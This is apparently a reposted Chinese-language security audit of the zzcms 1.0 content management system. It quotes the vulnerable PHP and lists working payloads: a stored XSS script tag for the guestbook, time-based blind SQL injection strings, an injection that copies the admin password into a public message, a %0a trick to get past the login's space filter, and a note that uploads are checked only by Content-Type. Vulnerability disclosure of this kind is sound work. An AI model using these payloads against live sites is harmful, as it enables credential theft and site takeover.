zzcms1.0代码审计

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了zzcms1.0代码审计相关的知识,希望对你有一定的参考价值。

链接:http://pan.baidu.com/s/1hsy0XNm 密码:kdxh

一个处处是洞的cms 

首先include/glob.php 虽然写了全局的转义 但是并没卵用 

    include_once("ZC_Article.php");
    include_once("ZC_Pro.php");
    include_once("ZC_Link.php");
    include_once("ZC_About.php");
    include_once("ZC_Book.php");
    include_once("ZC_Down.php");
    include_once("ZC_Upload.php");
    include_once("ZC_Cache.php");
    
    if($_REQUEST){
        if(get_magic_quotes_gpc()){
            $_REQUEST = zc_strip($_REQUEST);
        }else{
            $_POST = zc_check($_POST);
            $_GET = zc_check($_GET);
            @extract($_POST);
            @extract($_GET);
        }
        $_REQUEST=filter_xss($_REQUEST, ZZCMS_TAGS);
        @extract($_REQUEST);
    }

前台后台基本上所有跟数据库交互的地方都能注入

Pro_Show.php?id=1
/About.php?id=1
Download.php?id=1
代码就不展示了

XSS

    function add_book(){
        global $db;
        $_POST[email protected]extract(zc_strip($_POST)):NULL;
        
        ///if($vercode!=$_SESSION[‘ver_code‘]){
        //    showmsg("验证码错误!");
        //}
        unset($_SESSION[‘ver_code‘]);
        $time=time();
        $ip=$_SERVER[‘REMOTE_ADDR‘];
        $sql="insert into `".PRE."book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘".$title."‘,‘".$name."‘,‘".$qq."‘,‘".$url."‘,‘".$email."‘,‘".$content."‘,‘".$time."‘,‘".$ip."‘)";
        $db->query($sql) or die(showmsg("添加留言失败"));
        showmsg("添加留言成功!","Book.php");
    }    
}

添加留言处没有任何过滤

payload </td><script>alert(/xss/);</script>

因为前面转义不管用 可以闭合来搞注入

但是他没有写die(mysql_error())

就没法闭合来报错注入了

但是可以通过insert的时间盲注来搞...如果有耐心的话或者能自动识别验证码跑脚本的话 还是可以搞出来的

payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and If(1=1,sleep(5),sleep(0)),‘39.64.115.55‘);

第二种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and (select case when (select 1=1) then sleep(6) else sleep(0) end ) ,‘39.64.115.55‘);

第三种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,(select password from zzcms_admin limit 0,1),‘1500565966‘ ,‘39.64.115.55‘);

第三种构造好后

技术分享

content是管理员密码 如果管理员回复的话可在前台看到

技术分享

 

后台登入处

$name=str_replace(" ","",$name);
$sql="select * from `".PRE."admin` where `name`=‘$name‘";

可逻辑可盲注替换了空格 可以用%0a代替

后台任意上传的地方

public $allow_type=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘,‘image/pjpeg‘,‘image/gif‘,‘image/bmp‘,‘image/x-png‘);

只验证了Content-Type: image/jpeg 任意后缀可上传

 




以上是关于zzcms1.0代码审计的主要内容,如果未能解决你的问题,请参考以下文章

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统

0-PHP代码审计——通用代码审计的思路

0-PHP代码审计——通用代码审计的思路